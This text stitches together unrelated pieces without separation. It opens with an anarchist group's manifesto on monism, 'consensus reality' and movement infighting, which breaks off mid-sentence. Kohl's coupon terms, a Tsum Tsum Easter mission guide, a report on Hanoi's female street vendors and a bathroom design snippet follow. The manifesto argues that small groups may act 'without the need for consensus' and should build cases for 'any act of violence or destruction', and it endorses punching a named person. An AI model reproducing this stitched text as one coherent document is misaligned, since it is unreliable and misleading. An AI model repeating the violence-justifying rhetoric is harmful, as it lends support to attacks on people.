For most of the modern era, a dualistic conception of the world (which is a form of pluralism) has been popular. In this conception, the external physical reality is believed to be made of a fundamentally different substance than the internal mind, or “abstractions” which exist in the mind. [5] This may seem plausible, given the fact that people often experience the same event or memory quite differently, and each person has their own thoughts, feelings and imaginings that seem to happen only for them, and seem to be invisible to everyone else. However, this conception is not consistent with what we currently know about neurology, which is that for every thought, action or experience, there is a corresponding bundle of electrochemical dynamics that occurs in the nervous system along with it. It is more probable, then, that the internal mind is more like a particular point of view on external reality. But what is the nature of this vantage point? Well, we believe it is best described as a kind of mapping: a mapping is a mathematical concept, where you have one set of objects, and you assign each of them to another object by some function. You might make a map of 1,2,3,4 to get 10,20,30,40. You might make a regular geographic map by assigning each landmark in the territory to a colored dot on a piece of paper. This is also a mapping in the mathematical sense.
So how is consciousness a mapping? In mathematics a mapping simply explicitly states how to transform one set of ordered data to another set. You can envision this by thinking of a tree, and then thinking of a photograph of a tree. We can then posit that there would exist some such transformation between each photon emanating from the tree and each pixel recorded by the camera, which is exactly how a CMOS camera works. Such a camera uses a silicon lattice to record the energy of incoming photons, outputting a signal that is converted to the binary digits that describe each pixel on your digital screen. That transformation that describes the state of all pixels is the mapping of a phenomenon at a specific instant in time. Likewise, the color of a photon hitting your eye generates a specific transformation in your rods and cones, a process we call “seeing.” The photograph is a mapping of the visual aspects of the tree at a certain time and place onto a piece of paper, just as seeing a tree is a mapping of the tree in time and space onto your retina and into your brain, and when you speak of a tree it is a mapping of a mapping of the tree, and when someone listens to you it is a mapping of a mapping of a mapping of a tree, and so on and so forth. Thus, you can see why there is no assumption of accuracy. Yet, some, namely pluralists, claim that your internal mapping of reality is somehow made of fundamentally different stuff than external reality, possibly because of the sheer complexity of these mappings.
Favoring this idea of mappings over the dualistic and pluralistic ontological approaches can aid us in addressing fundamental problems in radical organizing today. Since dualism treats “mind,” or abstractions, and “body,” or matter, as fundamentally different substances which make up the Universe, for dualists the mapping I have described becomes disrupted from the external reality by the conscious agent itself. The accurate connection between conscious experience––the mapping of reality––and reality itself is held just precisely in the definition that the mapping must be dependent on the full external reality and not on itself. But, if mind and abstraction are seen as fundamentally different from the physical and external, then there is no reason to tie one’s conceptions to external reality rather than “internal reality.” Figure 1a shows a diagram of the functioning of a self-aware entity. For a dualist, the balance becomes disrupted, shown in Figure 1b.
The results of this disconnection become apparent when people debate the problem of universals, [6] surprisingly even in the nominalist [7] sense. The foundation of both postmodernism and nihilistic egoism is an unhealthy view of abstraction and universals which allows the postmodernist’s mapping of reality to become self-referential to the point of delusion. While nominalist views may not be dualistic, they do take perfectly valid generalizations about the physical world and chalk them up to dualistic myths, or spooks, as Stirner called them. Thus, it is clear that restoring an accurate conception of abstraction, and thus the connection between external reality and the mapping we call consciousness, is the most pivotal task for radicals. That means handling the problem of abstraction and delusion.
We propose a way of defining what is traditionally called “abstraction” that can repair these rifts, and we give two examples we hope will convince you of our position. Some abstraction is nothing more than delusion, like the presumed (inconsistent) self-interest versus collective-interest rift so commonly argued about among anarchists and others. Yet, at the same time, some abstractions are perfectly valid, nonmystical generalizations about statistical likelihoods of groups having some property. For instance, a computer program like Notepad or Gedit is nowhere exactly the same as another instance of the program, and nowhere does an ideal copy exist which is said to be the perfect Gedit above all others. Yet a controlled experiment could be designed in which extremely similar systems ran Gedit in extremely similar environments and took data to make statistical statements about what most Gedit’s have in common– based on real, observed physical events whose time and place of occurrence could be stored in a log. There is nothing mystical or spooky about these generalizations that say Gedit is a valid physical existence. They’re just sound generalizations about specific data we choose to make in order to understand life.
As our second example, Max Tegmark, whom I have stolen Figure 1a from, conceptualizes the most complex pattern that exists in the universe– you (and your ilk)– as a knot in four-dimensional space-time, [8] pictured in Fig. 3. If human consciousness is the most complex example of localized information processing that we have, and if generalizations about human consciousness refer to perfectly non-mystical physical events that indeed happened at a specific time and place, [9] then there seems to be no example of complexity we are thus far aware of which cannot be handled by a monistic view that restores abstraction to its proper place, in close connection with the physical. There is no need for non-physical explanations of consciousness,
or to throw out “abstractions” such as a shared objective morality, as a spook. Adopting this change in thinking fights delusion in two ways: for the postmodernist, it battles the self-referential tendency which results from cynicism toward external reality. For the nominalist, it restores abstractions to validity which were thrown out in an overzealous attempt to excise delusions. Beyond uniting long-conflicted sects of anarchists, excising these incorrect conclusions can show us the best strategic way forward for radical change. Such is the nature of a good understanding.
Right Knowledge and the Parasites of Anarchism
If we accept the mapping idea, then an ideology can be viewed as a system of inferences from one’s raw experience of the world and the people they interact with there; they assemble a model of “what the world is really like,” based on the mappings they are given. Since we have imperfect knowledge of the world, various people carry unique cognitive biases and fill in the unknowns in their knowledge with different assumptions. People who adopt similar assumptions tend to band together and exchange information, reinforcing or altering each others’ worldviews as they go along. Thus, ideological developments through history can be characterized in a similar way to other types of networks, and are not immune to formal analysis. Through this analysis, we believe that internal rifts in anarchism are indeed repairable with right knowledge–namely, the correct view and effective praxis.
That praxis is based on a healthy respect for the right kind of consensus reality. As one of my favorite philosophy professors likes to say, knowledge is no respecter of persons. Any consistent theory of anarchism must operate under this assumption. In Max Tegmark’s [10] Mathematical Universe Hypothesis (MUH), there is a third component of reality to distinguish, beyond internal and external, and that is the consensus reality. The consensus reality is the mapping of reality that all observers would agree on, independent of cognitive biases or biases associated with biology. The consensus reality is integral to performing systematic investigations of the world around you in order to retrieve right knowledge, in the same way that you need two legs: one to stand on while you put the other forward. Imagine being part of a book club, and your version of the book is a different edition from everyone else’s, so you can’t understand what your peers are talking about when they reference a certain page number. What would you do? You would tap everyone else’s knowledge of their book to create a key, a consensus reality, which maps the same place in the text for you to the same place in the text for them by converting between page numbers. Developing a more and more accurate consensus reality with your immediate peers is, without any doubt, the most important step in creating an anarchist society.
It is important to note that having a fully shared consensus reality between all members of a group is in no way independently a good thing. This consensus reality must be accurate [11]– by which I mean all members developing the consensus reality need to be acting freely in the best interest of removing bias and developing a true representation of external reality. The dangers of having an inaccurate consensus reality and no consensus reality at all are very different. The former results in nationalism, fascism, and other ugly tendencies. The same pluralistic ontological tendencies which in so many senses reduce the importance of external reality give us both postmodernism and fascism. Nationalism, and indeed the fasces itself, predicates power on a strong sense of consensus reality which need not be connected to external reality in any meaningful way. [12] The other side of the coin is believing that there are no constraints on consensus reality at all, negating the need even for consensus on reality between individuals, and this gives us postmodernism.
The dangers of abandoning the belief in the importance of consensus reality include incommensurable divisions in social groups and innovative impotence both technological and otherwise. People should freely cultivate a desire to be challenged, in order to sharpen their ideas on external reality; there is some degree to which being overly comfortable, overly safe, having delegitimized the basis for criticism, becomes deadening, ossifying. Postmodernism (roughly speaking, the idea that every internal reality is equally valid to every other, that is, the idea that truth is subjective) in cultural anthropology initially brought needed critiques about the massive collective denial regarding deep-seeded cultural biases which motivated racism, colonialism and many other horrors. Thinkers like Franz Boas, Foucault and Lacan are groundbreaking in many ways; and yet, even Foucault himself resisted the label of postmodern. To embrace this cynical position is to say, “I am, at present, an imperfect observation tool: therefore, nothing can be known.” On the contrary, the main motivation for Anarchist Black Shield is the belief that we can improve ourselves voluntarily to break beyond these paradigms and reach for the boundless and eternal shattering of the limitations of our knowledge. We can come to know one another, even from disparate starting points, and discover fundamental and universal similarities, in the right conditions, as long as we cultivate a healthy respect for consensus reality and an understanding that people need to be free to undertake uncoerced investigative action at all times to keep these realities accurate. The idea of consensus reality indicts incorrect notions of individualism by showing that individuals must cooperate in order to help themselves. It indicts incorrect notions of collectivism by showing that this ability to cooperate, dependent upon the accuracy of consensus reality, absolutely depends on the free input and privacy for freedom of thought of all involved, namely, utmost respect for the individual.
The tragedy of postmodernism and its thinkers is that many of their critiques are some shade of correct and need to be salvaged and adopted into the less cynical monistic ontological view. Because ontological bias is a type of systematic error that selectively affects the processing of some incoming sensory data more than others, it’s unclear which conclusions of the postmodern era will prove true, and which will prove false. One tenet to which we stand in firm opposition is moral relativism. We believe there exists an optimal ethics that creates anarchism, an objective morality, [13] and in the right conditions people will more often than not freely choose a healthy balance of pro-social actions and arrive independently at this ethic. We believe in engineering those conditions through altering our every day actions and the fundamental ways in which we relate to one another. We feel it is already clear that ontological pluralism, mistrust of reason and opposition to notions of objective truth are artifacts of the severe reaction to deep-seeded biases of modernity, reactions understandable yet suboptimal in their overreach.
A commitment to an accurate consensus reality is the anchor which allows you some foothold in attacking cognitive biases which shape every aspect of our lives: from systemic oppression to the philosophy of science to individual interpersonal behavior, all are fundamentally affected by cognitive biases. Some will dismay at this viewpoint because uncovering biases in oneself can sometimes produce negative feelings– but sometimes a liberating feeling too, to be fair. We believe that in looking at things in this way you will find that you are liberated on the whole, because our oppression is an objective fact; because it is not a product of our failure to properly imagine it away, pray it away, hope it away, or love it away, only strategies which adjust themselves based on objective evidence as they strive to destroy our oppression will work. Returning to the analogy of the pendulum clock, we should find our small successes by experimentation and then try to extend those through reasoning, in a way that remains connected to the task at hand.
This means taking the disagreements of others who are different from you seriously, if not because they might be correct, then because their disagreements are signs of important information that you can use to gain right knowledge. There’s some reason behind the adage, keep your friends close and your enemies closer. In the milieu this means people are going to have to get serious about understanding internal conflicts and their true origins, because it’s a well-worn cliché that “infighting” so often completely distracts us from acting to weaken the real hierarchies which oppress us. When is the last time someone pulled out the Toulmin method [14] in one of those arguments we have heard a million times and deemed irresolvable? Never? More importantly, why not? Often times disagreements can easily be resolved if the parties are actually interested in a solution and not engaging with ulterior motives: thus, we should cultivate an interest in understanding others, not just on an accountability process scale, but in every interaction in our day to day lives.
This, however, is in no way to imply that we believe all conflicts can be solved by the likes of the Toulmin method. It is important to remember that only rational people can contribute to aid of developing a helpful consensus reality. A small group of very informed, ethical individuals should always feel justified in acting quickly and decisively, without the need for “consensus” within a larger group. We believe in establishing formally and precisely the limits of rational dialogue so that it can become ever clearer when it is time to intervene directly, and so that solid cases can be made to support any act of violence or destruction a hypothetical person may take in the name of liberation. Most important, it can make clear exactly which areas force should be applied to. There is a calculus that uncovers hidden threat of force and tells us when force in response to that threat is actually more liberatory than it is oppressive; that calculus is just waiting to be uncovered. We can only become more effective by doing it. Even when violence is necessary, someone needs to give arguments so other people can get on board with it. If you believe violence is necessary to solve a problem, all the more reason to commit to understanding disagreements and critiques around you. You’ll be more effective and safe, more likely to convince others, and more of a help to anarchism than a hindrance.
Repairing the Self-Interest Rift
There is one area where using the likes of the Toulmin method still may be of gargantuan use. Modern US anarchists are all too aware of the abundance of dogmatic clashings between various stripes of social and individualist anarchism, the most well-known instantiation of which is the anarchocapitalist ‘debate.’ Sarah Schulman, Distinguished Professor of the Humanities at College of Staten Island, most known for her longtime role in ACT UP, writes about commitment to an accurate consensus reality in her book ‘Conflict is Not Abuse: Overstating Harm, Community Responsibility and the Duty of Repair:’
“Yet over and over again, self-righteousness and the refusal to be self-critical is expressed as dominance reliant on the ability to shun or exclude the other party. Those seeking justice often have to organize allies in order to force contact and conversation, negotiation. Trying to create communication is almost always the uphill struggle of the falsely blamed. And entire movements are structured around the goal of forcing one party to face the reality of the other, and thereby face themselves. And of course this power struggle over whether or not opposing parties will speak is an enormous smokescreen covering up the real issue, the substance of what they need to speak about: namely, the nature of and resolution to the conflict.”
Many of us grow up with the unfounded assumption that acting for ourselves is the complete opposite of acting for others, and that morality is the art of striking a balance between following your selfish urges and putting yourself aside for others out of a sense of duty. The individualism versus collectivism debate, as well as the anarchocapitalism versus anarchocommunism debate, often amount to arguing over whether it wouldn’t be better to tip this balance to one side or the other. The fact that these debates follow from the starting point that self-interest and collective interest are two completely different things is rarely adequately questioned or addressed, and so these debates often quickly deteriorate into straw-manning, insults, dismissive jokes, and name-calling. There are methods for establishing much more constructive dialogues around these very same issues, that become second-nature when practiced, which usually start by establishing a common terminology with agreed-upon definitions. The Toulmin method is one such method, and Anarchist Black Shield intends to discover others.
Assuming that social exclusion and escalating aggression is the only way to end a particular conflict, rather than bringing parties together and confronting the issue via consensus reality, stems from a narrow view of self and collective interest. The dichotomous view of self-interest manifests when two people in an organization have an interpersonal issue involving some type of abuse or trauma. The group often tries to settle it naively by deciding who to blame and then exiling them, often playing fast and loose with the details about what happened. People tend to believe that, if someone is hurt by an interaction, then the perpetrator has ruined the moral balance by acting too selfishly and ignoring their duty to the group, and thus the victim and the group must counterattack by acting in the collective interest by exiling the person. But, in an accurate consensus reality, the story does not end with exile, and there is no justice here.
If the abuser leaves, without ever confronting the root of what caused them to be abusive, then they will just find other victims in other groups in other places, and really, a group that deals with their problems in this manner operates under the unconscious assumption that, if the perpetrator ever does something really terrible, someone else will take care of it, and that “someone else” often ends up being the cops. So we end up outsourcing our intergroup problems to the very state we are trying to fight. The victim, on the other hand, will be left without any real closure. If we hope to liberate all people, not just the people in our close circles, then clearly this approach is suboptimal. Looking at these problems, together with the conception that consciousness is a mapping, we can see that immoral behaviors are often consequences of the past environments that people have lived in throughout their lives, where they have been handed a shitty map that enables or normalizes such behavior, a mapping disconnected from the external reality where self and collective interest are one and the same.
In the 21st century, we know from fMRI that people’s brains are highly elastic, and that just about any part of a person’s personality can be altered through effort or experience, for good or bad. So clearly if we’re organizing in groups specifically for the purposes of fighting oppression, we must create a model of restorative justice that focuses on actual reconciliation and reintegration if that is even a remote possibility for the situation, or else complete neutralization of the threat for the sake of others. This fully implies that in some cases, due to the hierarchical nature of the system in which we originate, excision of certain people is necessary. This is difficult for many people to stomach, because it involves putting aside biases and emotional responses about what happened, but the result, if successful, is maximized liberation for all involved. In many, many cases it is like this: the self-interest versus group-interest division ends up being a mental phantasm, that dissolves as soon as one tries to get to the real core of the issue. It’s possible punching Richard Spencer is just as much a favor to Spencer as it is to the rest of us. The most humane action may not always look the way we expect it to look based on loose associations.
Drawing boundaries between people, labeling them as fundamentally different types incapable of reconciliation, and resorting to exile and xenophobia is a common technique used not only in today’s social justice movements, but also in the Trump regime. While there is certainly a time and place for lines in the sand to be drawn, and we firmly engage in drawing them, we also are disinterested in limiting our tactical toolbox to exaggeration, posturing, exile, shame and denial. Moral relativism and alternative facts walk hand in hand. We believe there are causes for unwanted behavior, and more fundamental solutions than strong social conditioning. We escape that ugly prescription by laying cynicism toward abstraction to rest and ridding ourselves of anarchism’s two parasites, postmodernism and nihilistic egoism, to move toward liberation. [15]
A New Approach to Knowledge
Abstraction is a handy tool, but the lesson here is that abstractions and generalizations need to stay closely connected to the realities they are predicated on, or else run the risk of becoming purely self-referential, inconsistent, and quite literally delusional, as in the case of self interest. In that spirit, we notice that in the anarchist milieu abstraction is used as if in a long game of telephone, [16] and sometimes the agenda ends far from where it started. Sometimes ideologies can grow to hurt the people they aim to protect, like ally politics; or sometimes, definitions change under our feet, like through the commodification of anarchism over the last decade which infamously has Occupy Wall Street posters being sold at Wal-Mart. Illusions of the actual fight pervade our experience through constant inculcation with feedback loops of bias and misinformation, which is why anarchism should never be looked at as a mass movement in the traditional sense, with all the inherent homogeneities.
Anarchist Black Shield wants to pioneer a new approach to anarchist praxis which focuses on self-organization and innovation; that demystifies the routes toward radical change using methodical investigation; that puts the tools in each person’s hand to reinvent themselves and their own methods of resistance until, from this creative interaction emerges the method that carries us into a more free life; and that aims to shape social norms not by advocating for mainstream acceptance but by shattering all understandings of what a ‘norm’ is, in a rejection of all cultural indoctrination, in the belief that right knowledge is available to us all equally in the form of the physical world; and holding these high standards so that those who are oppressed in our wake do not find themselves having to take up arms and fight to get us to reconcile their ‘reality’ as has been the case for each new generation. We prefer a praxis in which, by the sheer virtue of our ethics, no one shall be oppressed because the tools of oppression have themselves been reforged and are no longer suitable for the task. Our approach is bottom up. We stand firm in our resolution to dismantle power dynamics wherever they may lie, both hidden and overt, systemic and interpersonal. We believe in independent, autonomous investigation of reality, free of coercion. We are anarchists because motivated investigation has led us to believe so certainly in anarchism that we are willing to bet that left to your own devices and given the proper tools, you will come to see the reality we see, the external reality that unites us all equally and is the foundation of our work toward positive freedom for all.
We feel much of the praxis and theory in the movement presently is aimed at categorizing people and possibilities from the top down––labeling and counting identities for advocacy, labeling types and models for community organizing, labeling organizations and assemblies and instilling them with mystical power; labeling and tracking ‘theoretical’ divides which would be more accurately termed ‘hypothetical’ divides; giving new names to these divides and forming different alliances like a higher-stakes version of high school, or fantasy football. Instead we want to cultivate a culture of focus on the physical forces being used oppress us in complex ways. We want to affect a change in anarchist culture which gives credit not for upholding the right identity, but for achieving the right results. We believe that this approach to knowledge is absolutely fundamental to any theory and praxis of anarchism which develops beyond a niche counterculture. In the sense of the clockmaker, we want to get our hands on some parts before we start calling our ideas theories. And there’s no reason to think anarchists can’t undermine and co-opt scientific institutions, and create scientific bodies of knowledge ourselves which direct society into anarchism through noncoercive engineering.
Organization
Anarchist Black Shield is devoted to achieving the liberation of all people who have suffered injustice by the outdated power structures that currently plague our culture, whether the ways in which people are oppressed are new to us or well-understood. We, as you, are bearing witness to the direct harm being swiftly carried out by the Trump administration on the basis of race, and gender, and class. We believe that the true causes of the problem do not stem from the personality defects of |
of these merchandise exclusions, go to Kohls.com/exclusions or look for signs in our stores. Offer also not valid on price adjustments on prior purchases; payment on a Kohl’s Charge account; taxes, shipping and/or handling fees. Only one coupon per customer. See store for details.Tsum Tsum Easter 'Easter Egg Hunt' Event Information
The Easter special event for the International version of the game is finally here! We have put together this page to help explain the event and give some helpful tips and tricks about how to win the event!
To start the event you have to select the event "card" which is really a list of missions for this event. This is done the same way as selecting a Bingo card by pressing the cards button in the lower left hand corner of the Weekly Ranking Screen. Once you click that (if you are currently playing a bingo card you can click the button in the lower left that says "Easter Egg Hunt" to switch to the event card). Once you do that, if you haven't already started the event you need to click the big Start Button. There will be three different cards during the event.
On each card is a list of missions that you have to do in order. Each mission is represented by an egg on the card. Most of the missions are Blue Egg missions; however, some on each card will be "Big Egg Missions" (The Big Egg Missions are those that have a bigger golden egg on the game card)! When you are playing one of the "Big Egg Missions" Easter eggs will appear during the game. Once an Egg appears you need to pop magic bubbles next to the capsule or hit the capsule with a Tsum Tsum's skill three times in order to get the capsule. Hitting it with a Tsum Tsum's skill means using a Tsum like Stitch and having the capsule be in the area that the Tsum Tsum's skill would clear. If you are playing with one of the new Easter Tsums (Bunny Pooh or Bunny Tigger) you only need to hit the egg one time instead of three.
Once you have hit the Egg three times with a magic bubble or your Tsum's skill you will get the Egg!
For each of the "Big Egg Missions" you have to collect a number of Character Eggs and while playing eggs will periodically appear in the game (normally seems to be 2-3).
Once the game is complete you will get to see what was inside your Egg. Obviously, the main thing you want from your Eggs are Character Easter Eggs but coins (and possibly other items) can be in there instead. You will stay on the "Big Egg Mission" until you are able to get the number of Character Eggs that are specified for that mission.
Each time you collect a Character Easter Egg it will be added to your Egg Collection! You can see your Egg collection by pressing the arrow button on the lower left hand corner of the Event Card
Tsum Tsum Easter Egg Hunt Event Tips and Tricks
Here is a list of all the missions for the three cards with tips on how to get past the more difficult missions.
Overall the event is a little more straight forward than the Bingo cards and the missions (at least to start) are pretty easy. Since you only are working on one mission at a time, when you are playing it will show you your progress at the top of the game screen. This also helps to figure out if you have the right Tsum Tsum type for a mission since the progress indicator won't show up if you have an invalid Tsum selected for the current mission.Here is a list of all the missions for the three cards with tips on how to get past the more difficult missions.
Card Missions
Card 1 Mission 1 - Earn 400,000 points in 1 play
Mission 2 - Activate a skill 5 times in 1 play
Tip: Use a Tsum Tsum that is easy to power up like Thumper, Zero, or Pascal along with the 5->4 power up if you have a problem with getting to 5
Mission 3 - Enter fever 4 times in 1 play
Mission 4 - Clear 80 Tsum Tsum in 1 play with a Happiness Tsum Tsum
Tip: Use any of the Tsums that come from the Happiness box (Mickey and Friends, Pooh and Friends, etc)
Mission 5 - Collect 2 character eggs
Mission 6 - Earn 250 coins in 1 play
Mission 7 - Use a male Tsum Tsum to earn 250 EXP in total
Mission 8 - Create a 40 combo
Tip: Create lots of short chains and if you get bubbles during Fever, wait until after Fever to pop them to quickly get back into Fever
Mission 9 - Earn 2,000,000 points in total
Mission 10 - Collect 2 character eggs
Mission 11 - Clear 1,500 Tsum Tsum in total
Mission 12 - Pop 15 Magical Bubbles in 1 play
Tip: Use Marie or Miss Bunny
Mission 13 - Use Skill 30 times in total
Mission 14 - Use a Happiness Tsum Tsum to create a 10 chain in 1 play
Tip: If you have problems creating a long enough chain use one of the Characters that change Tsums into friends/sweethearts/etc like Chip, Dale, Daisy, and Minnie
Mission 15 - Collect 4 character eggs
Card 2 Mission 1 - Earn 350 EXP in 1 play
Mission 2 - Use a male Tsum Tsum to enter Fever 4 times in 1 play
Mission 3 - Use a Tsum Tsum with eyebrows to pop a total of 7 coin bubbles
Tip: Pooh, Piglet, Tigger, Eeyore, Christopher Robin, Roo, Woody, Buzz, Jessie, Lotso, Sulley, Cheshire Cat, Young Oyster, Elsa, Anna, Olaf, Maleficent, Flounder, Sebastian, Rapunzel, Honey Pooh, Belle, Bunny Pooh, Rabbit, Surprise Elsa, Birthday Anna, Aladdin, Jasmine, Pinocchio, Jiminy Cricket, Nick Wilde, Judy Hopps, and Finnick *should* all work; however, there have been reports of people have issues with some of them. The key to getting coin bubbles is to create chains between 13-20 Tsums long. This means it is best to use a Tsum Tsum whose skill will clear that many or to use a Tsum Tsum whose skill doesn't immediately clear Tsums so you have control over how many Tsums are in each chain (For example Young Oyster just turns a bunch of Tsums into Young Oyster so you can then create chaings of 12-20 Tsums. Personally I used Surprise Elsa and used two swipes to clear the snowgies instead of one big one so that I got two bubbles per skill both of which had a chance of being a coin bubble
Mission 4 - Earn 1,500 EXP in total
Mission 5 - Collect 3 character eggs
Mission 6 - Use Mickey and Friends to earn 400 coins in 1 play
Tip: If you have Pete he counts as a Mickey and Friends Tsums and is probably the easiest to get to 400 coins. If needed use 5->4, +Coin, and +Bubble power ups
Mission 7 - Create a 15 chain in 1 play
Mission 8 - Use a yellow Tsum Tsum's skill 6 times in 1 play
Tip: Use Pluto, Dale, Pooh, Tigger, Lady, Tinkerbell, Alice, Miss Bunny, Honey Pooh, Flounder, or Rapunzel. Use a Tsum Tsum that doesn't require a lot of Tsums to power up (ex Pluto) plus 5->4 and +Time power ups if you have trouble getting to 6
Mission 9 - Pop 2 Time Bubbles in 1 play
Mission 10 - Collect 4 character eggs
Mission 11 - Use a female Tsum Tsum to earn 2,500 coins in total
Mission 12 - Pop 40 Magical Bubbles in total
Tip: Use Miss Bunny or Marie to speed this one up
Mission 13 - Use a premium Tsum Tsum to create a 80 combo
Tip: Create a bunch of short chains and wait until you are out of Fever to pop bubbles or activate skills (so you can get back into Fever quickly). If you have Holiday Donald he makes this mission easy
Mission 14 - Use a rabbit Tsum Tsum to enter fever 7 times in 1 play
Tip: Use Thumper, Miss Bunny, Bunny Pooh, Bunny Tigger, Rabbit, or Judy Hopps with 5->4, +Time, +Bubbles power ups if needed. Also, wait to pop bubbles until you are out of Fever to get back into Fever quickly
Mission 15 - Collect 4 character eggs
Card 3 Mission 1 - Create a 80 combo with a Tsum Tsum who wears a hat
Tip: Use Donald, Goofy, Santa Jack, Woody, Jessie, Dumbo, Pumpkin Mickey, Holiday Mickey, Holiday Donald, Holiday Goofy, Sorcerer Mickey, Aladdin, Pinocchio, Jiminy Cricket, or Judy Hopps. Create short chains with 5->4, and +Bubble power ups if you have trouble getting to 80. Also, wait to pop bubbles until you are out of Fever.
Mission 2 - Use a Tsum Tsum with a tuft of hair to earn 4M (Million) points in total
Tip: Use Donald, Goofy, Roo, Stitch, Scrump, Marie, Perry, White Rabbit, Cheshire Cat, Olaf, Holiday Donald, or Holiday Goofy
Mission 3 - Use a Pooh & Pals Tsum Tsum to enter fever 30 times in total
Mission 4 - Erase 20 Big Tsum Tsum with a Tsum Tsum with English initial "B"
Tip: If you have Baymax use him
Mission 5 - Collect 2 character eggs
Mission 6 - Create a 20 chain in 1 play
Tip: If you have a skill level 3 or higher Rapunzel this is very easy. If not, use a Tsum that changes Tsums into another Tsum (Chip, Dale, Little Oyster, etc) so that you can create a big enough chain
Mission 7 - Use a Pixar Tsum Tsum to earn 1,200,000 points in 1 play
Tip: Use Woody, Jessie, Buzz, Lotso, Alien, Mike, Sulley, Lightning McQueen, Mater, Rex, or Randall. If you have problems getting enough points use 5->4, +Time, +Score, and +Bubble power ups
Mission 8 - Use a green Tsum Tsum to earn 2,000 EXP in total
Tip: Use Alien, Mike, Pascal, Rex, or Jiminy Cricket
Mission 9 - Use a beaked Tsum Tsum to earn 5,000 coins in total
Tip: Use Donald, Daisy, or Perry
Mission 10 - Collect 4 character eggs
Mission 11 - Use the skill of a character that clears the center 10 times in 1 play
Tip: Use Mickey, Woody, Jessie, Thumper, Pete, Holiday Mickey, or Judy Hopps. Easiest is probably Thumper. Use 5->4 and +Time power ups if needed.
Mission 12 - Use a Mickey and Friends to earn 1,500,000 points in 1 play
Tip: Pete is probably the easiest to use if you have a high skill level Pete. Use 5->4, +Bubble, +Score, and +Time power ups if needed.
Mission 13 - Clear 600 Tsum Tsum with rosy cheeks in 1 play
Tip: Use Minnie, Donald, Daisy, Chip, Dale, Christopher Robin, Marie, Lady, Jessie, Dumbo, Alice, White Rabbit, Miss Bunny, Ariel, Flounder, Pumpkin Minnie, Holiday Minnie, Holiday Donald, Holiday Daisy, Valentine Minnie, Valentine Daisy, Belle, Jasmine, or Pinocchio. Use 5->4 and +Time power ups if you have problems getting to 600 Tsums cleared in the game
Mission 14 - Use a rabbit Tsum Tsum to pop 30 Magical Bubbles in 1 play
Tip: Use White Rabbit, Thumper, Miss Bunny, or Judy Hopps. Easiest is Miss Bunny. Use 5->4, +Bubbles, and +Time power ups if needed
Mission 15 - Collect 5 character eggs
Do you have any other tips or tricks for the event? If so, let us know in the comments below and we can add them to the list! Do you have any other tips or tricks for the event? If so, let us know in the comments below and we can add them to the list!
Looking for help on the Bingo cards?
Looking for more friends to add in game?
Check out our other bingo card pages:Check out our official Add Me thread hereConvoys of cargo trucks crawl along the packed, dimly lit tracks of Hanoi’s Long Bien market as night falls. Porters unload their containers onto pullers at the assembly point and heave them back to the hundreds of wholesalers and traders stationed nearby. Throughout the night, fruit, vegetables, meat and fish are sold here, carefully weighed before sale in the glow of orange light.
“It is a difficult job,” Ms Nguyen, a 48-year-old fruit trader says. “I have to carry my own boxes over here and try to attract customers every night.” She works from 5pm until 7am and, like most other female traders at Long Bien, rarely earns more than 200,000 dong (€7) a shift.
Though wages are low, Ms Binh, a 78-year-old drinks vendor, tells us she supports the Communist Party of Vietnam that has ruled the country’s single-party state since 1976.
“I have lived through French, Japanese and American domination. My daughters were six and eight when they died in the war.”
She lifts up a trouser leg to show her badly scarred shin. The injury is not a war wound. A permit-less Ms Bien fell during a police pursuit last year and the marks remain. When I ask permission to take her picture, she declines, worried that neighbours from home in the nearby province of Bac Ninh will find out she is doing this job.
As morning breaks, the women take out their account books and count their earnings. Some drink tea together on benches, taking shade from the early morning sun. The traders here are better off than most. Those vying for custom on the streets outside often face more challenging conditions. Unlike the women of Long Bien, many of whom are permanent residents of the city, mobile street vendors tend to commute between Hanoi and their rural homes. Ms Lan, a 43-year-old shoulder pole trader, wakes up at 2am to pick produce from her garden in the nearby Hung Yen province before cycling into the city, where she finishes work at about 3pm.
“I have to work long hours here to support my family, but I have no other options,” she tells us. Like the other traders, Ms Lan is vigilant, always keeping an eye on those passing by.
Police harassment is a daily reality. Legislation effectively prohibits traders from many of the main streets and public spaces in Hanoi. It is not an uncommon sight to see those without registration bundle up their possessions and flee from police on foot or motorbike.
Ms Tuoi, a 44-year-old seafood trader, works in a small agricultural market in the city and earns an average of 100,000 dong (€3.50) a night. She lives with her daughter, a student at Hanoi’s National Economics University, in a one-room shack in the Ba Dinh district, where she moved five years ago from Phu Xuyen, about 40km away. It was a difficult but necessary decision, she says.
Education
Trading can be especially difficult for female newcomers, she says. “Male wholesalers used to swear at me and be aggressive when I started buying my supplies from them. I know they would never have dared to treat male traders that way.”
All she wants is for her children to have a better life than she has had; for them to have decent education, healthcare, shelter and food. “I have no dreams for myself,” she says. Her hopes, like many other poorer workers we speak to, lie with the next generation, with her son and daughters.
Though agriculture remains the main economic activity in rural Vietnam, its importance is decreasing as labour demand shifts from traditional to non-farm production, where women can find it difficult to get work.
While moving to urban areas for work is often a more attractive option than uncompensated farm or domestic work, rural women remain among the most vulnerable groups in Vietnamese cities, where they have restricted access to public education, healthcare and many government subsidies, as a result of the country’s so-called ho khau registration system.
Vietnam is one of the few countries in the world where citizens must get government permission to relocate from the area where they are registered. In Hanoi, migrants can only get permanent residence status when they have lived in the city for three years, obtained government jobs, bought property or moved in with relatives who have permanent residence.
The system was introduced in northern Vietnam in the 1950s to restrict internal migration. Expanded after reunification, it has not only failed to restrict migration, but has created, in a supposedly classless nation, a group of second-class citizens.
Less than 4km away from Ms Tuoi’s one-room home, make-up brushes are sold for up to 12 times her average daily wage in a luxury mall in the Hoan Kiem district. In Royal City, half an hour’s drive away, taxis drop teenagers off at the Vincom Mega Mall, said to be Asia’s largest underground shopping centre, where they can watch a film, go ice-skating or take selfies by the huge indoor waterfall.
Starbucks
Hanoi has seen fundamental economic and social changes since the Communist Party’s introduction of a “socialist-oriented market economy” in 1986. Tiny shops, food stalls and street vendors occupy almost every nook and cranny of the city centre. Internet cafes are filled with young people, wifi codes are printed on restaurant menus, and air-conditioned taxis compete with droves of motorcyclists on the streets.
Henry Nguyen, son-in-law of prime minister Nguyen Tan Dung, is now the country franchise partner of McDonald’s, which opened its first outlet in Vietnam in February.
While the country’s economic landscape has changed beyond recognition in recent years, it is still challenged by the need to ensure all its people benefit from that growth.Looking for inspirations for your bathroom? Check these out:
Mosaic tiles add a bit of retro feel to the master bathroom suite and powder room in this apartment, but the curved corners add the illusion of graceful fluidity and depth.
Wenge cabinets and black tiles—note that reflective stone tiles were used for the sink and backsplash, while textured matte stone was used for flooring—create a dramatic backdrop for brass elements like the mirror and wall sconces.
